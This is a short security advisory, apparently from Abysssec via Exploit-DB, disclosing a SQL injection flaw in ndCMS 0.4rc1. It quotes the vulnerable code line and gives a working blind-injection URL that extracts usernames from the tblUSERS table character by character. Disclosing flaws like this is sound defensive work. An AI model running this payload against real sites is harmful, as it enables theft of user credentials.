Month Of Abysssec Undisclosed Bugs - Nickel And Dime CMS 0.4rc1

`'''  
__ __ ____ _ _ ____   
| \/ |/ __ \ /\ | | | | _ \  
| \ / | | | | / \ | | | | |_) |  
| |\/| | | | |/ /\ \| | | | _ <  
| | | | |__| / ____ \ |__| | |_) |  
|_| |_|\____/_/ \_\____/|____/  
  
http://www.exploit-db.com/moaub-27-ndcms-sql-injection-vulnerability/  
  
'''  
  
  
  
Abysssec Inc Public Advisory  
  
  
Title : ndCMS Sql Injection Vulnerability  
Affected Version : ndCMS(Nickel and Dime CMS) v0.4rc1  
Discovery : www.abysssec.com  
Download Links : http://souurceforge.net/projects/ndcms-net  
Login Page : http://localhost/ndcms/admin/?Mode=Express&indx=  
  
Description :  
===========================================================================================   
This version of ndCMS has Sql Injection Vulnerability that its DataBase is Access  
with Table of Users : tblUSERS  
Columns : userid , passwd.  
  
  
Vulnerable Code:  
.../express_edit/editor.aspx  
Ln 65:  
dbr = db.ExecuteReader("Select * from tblPAGES WHERE indx=" + Request.Params["indx"]);  
  
  
Considering to the code, for example you can browse this URL:  
  
http://Example.com/express_edit/editor.aspx?index=1+AND+1=IIF((select mid(last(userid),1,1) from (select top 1 userid from tblUSERS))='a',1,2)  
  
and so on.  
  
  
===========================================================================================  
  
`